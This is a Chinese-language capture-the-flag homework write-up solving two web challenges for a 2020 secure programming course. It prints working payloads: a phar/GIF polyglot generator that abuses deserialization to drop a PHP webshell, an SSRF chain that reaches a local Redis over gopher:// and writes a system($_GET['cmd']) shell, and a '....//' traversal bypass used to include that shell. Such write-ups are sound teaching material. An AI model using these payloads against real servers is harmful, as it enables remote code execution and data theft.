Secure Programming 2020

HW6 write-up

Rero Meme

這題是deserialize,看一下index.php會發現我們可以輸入的有username, gif title,跟上傳一個gif檔.其中username完全沒有過濾,gif title則有preg_match過濾,然後gif檔可以用GIF開頭騙過檢查,所以我們可以完全控制的東西有username跟gif檔.

通過檢查之後,server會用file_get_contents(tmp_name),然後new一個meme的class.但是這個$tmp_name是不可控的,再仔細看一下meme class的定義會發現meme的deconstruct中,有file_put_contents會對meme中的member filename寫meme的member content的內容,如果我們可以觸發meme的deserialize並控制filename跟content的內容,就可以在server上任意寫檔.

```
class Meme
{
    ...
    function __destruct()
    {
        if ($this->content != NULL)  //用deserialize觸發任意寫檔
            file_put_contents($this->filename, $this->content);
    }
    ...
```

剩下的問題是如何觸發deserialize,index.php並沒有呼叫unserialized,但是往lib.php看會發現user class的constructor裡有一個is_dir() function,稍微查一下發現is_dir可以觸發phar的deserialize,所以我們找到了觸發deserialize的地方跟可以利用的magic method.

```
class User
{
    ...
    function __construct($username, $directory=".") {
        chdir($directory);
        if(!is_dir($username)) //觸發phar deserialize
           ...
    }
    ...
}
```

接下來我們需要寫一個phar檔,這個phar檔需要有gif的開頭來通過檢查,然後我們還要先設好meme class的檔名跟內容,我們可以寫一個php,然後把system()放進php裡,這樣當我們存取這個php的時候,就可以執行system了.

```
<?php
class Meme
{
    public $title;
    public $author;
    public $filename;
    private $content;
```

```
    function __construct($title, $author, $content, $filename)
    {
        $this->title = $title;
        $this->author = $author;
        $this->content = $content;
        $this->filename = $filename;
    }
}
 $phar = new Phar("p.phar");
 $phar->startBuffering();
 //加上gif的開頭
 $phar->setStub("GIF89a <?php __HALT_COMPILER(); ?>");
  //檔名是a.php,內容包含system
 $m = new Meme("meow", "cat", "<?php system('ls'); system('ls /');
 system('cat /flag*'); ?>", "./images/a/a.php");
 $phar->setMetadata($m);
 $phar->addFromString("meow.txt", "owo");
 $phar->stopBuffering();
?>
```

生成phar檔之後,我們可以把他上傳到題目網站,username要取正常的路徑像是a, b...這樣,之後作phar://的時候才能照到phar的gif檔,另外還需要設置cookie: username,值隨意,但是一定要有.這時候題目網站會自動把副檔名換成.gif,但經過測試,phar還是可以觸發.

然後我們把cookie刪掉在重新登入,這次username要設成:

```
phar://之前上傳gif的username/.gif/meow.txt
phar://a/p.gif/meow.txt
```

這樣就可以觸發deserialized,如果成功的話,/images/a就會多了一個a.php,我們就可以存取/images/a/a.php, a.php會call system,就可以得到flag了.

```
FLAG{レロレロ?RERO!レロレロ,RERO?レロレロ~}
```

陸拾肆基底編碼之遠端圖像編碼器

腳本exploit.py附在zip裡

這題是SSRF,透過file:///proc/self/cmdline可以看到在跑的server是apache.所以透過file:///var/www/html/index.php可以撈到source code.

```
//index.php
...
// You find the source code? Cool.
// It's time to find the other service on *this* server.
// Again, you still shouldn't scan me :/
...
<?php
  $page = str_replace("../", "", $_GET['page'] ?? 'home');
  include("page/$page.inc.php");
?>
...
```

根據提示,我們需要去找跑在local上的service.同時透過include那行我們可以找到存取local服務的source code.

```
//page/result.inc.php
<?php
if ($url = @$_POST['url']) {
  if ($hostname = parse_url($url)['host']) {
    $ip = gethostbyname($hostname);
    $ip_part = explode(".", $ip);
    if (count($ip_part) !== 4 || in_array($ip_part[0], ['192', '172', '10'
    ,'127']))
      die("Invalid hostname.");
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $b64_img = base64_encode(curl_exec($ch));
    echo curl_error($ch) ? curl_error($ch) : "<img src=\"data:image/jpeg;
    base64,$b64_img\">";
    curl_close($ch);
}
```

從source code中可以發現server會過濾ip裡的local address,像192, 172, 10, 127等等,然後會用curl向ip送request,因為是server送的,所以可以存取local service.最後再把response作base64之後回傳.

ip過濾的部份可以用十六進位的0x7f(127)通過,所以剩下的問題是local service的ip跟port.

用file:///proc/net/tcp,可以看見正在listen的tcp port:

```
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt
uid  timeout inode
0: 0100007F:69FE 00000000:0000 0A 00000000:00000000 00:00000000
00000000   101        0 14989614 1 00000000cf3ab4fe 99 0 0 10 0
...
```

從上往下一個一個ip,port用http protocol戳戳看,看看有沒有正在運行的service.

其中第一個ip,port轉成十進位就是127.0.0.1:27134,用http://0x7f.0.0.1:27134/會發現server回了一個error:

```
-ERR wrong number of arguments for 'get' command
```

把這個error拿去google一下會發現是redis的response,所以這個server上有redis的service.

稍微研究一下redis的漏洞發現redis可以透過儲存資料庫的方式來達到有限度的寫擋,如果寫成一個帶有system的php,就可以達成rce.

我們可以用gopher來構造redis的command,為了要看得見結果,commands最後要加上一個quit.

網路上找的web shell的payload稍微改一下:

```
gopher://0x7f.0.0.1:27134/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28
%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2fvar%2fht
ml%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
```

然而經過測試發現,/var/www/html跟/var/www/html/page都不能寫檔,能寫檔的路徑只有/tmp.所以要想個辦法讓server觸發到這個php.

想了一下發現之前在index.php中有發現include指令,而且我們可以控制$page的值,或許可以想辦法讓index.php include到我們的shell,這樣就可以rce了.

再仔細看了一下index.php的include片段,發現雖然它用了replace擋掉了../,但是其實這個replace是可以繞過去的,只要再加一層就可以了,..// 並且檔名的結尾必須是.inc.php.

改一下payload

```
gopher://0x7f.0.0.1:27134/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2ftmp%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.inc.php%0D%0ASAVE%0D%0AQUIT
```

這樣生成的shell.inc.php就會在/tmp目錄底下.然後再把include的路徑當成page傳進去.然後再把要執行的command當成參數加在cmd.

```
http://base64image.splitline.tw:8894/page=....//....//....//....//tmp/shell&cmd=cat /flag*
```

這樣就成功rce了.

```
FLAG{data:text/flag;r3d1s-s3rv3r}
```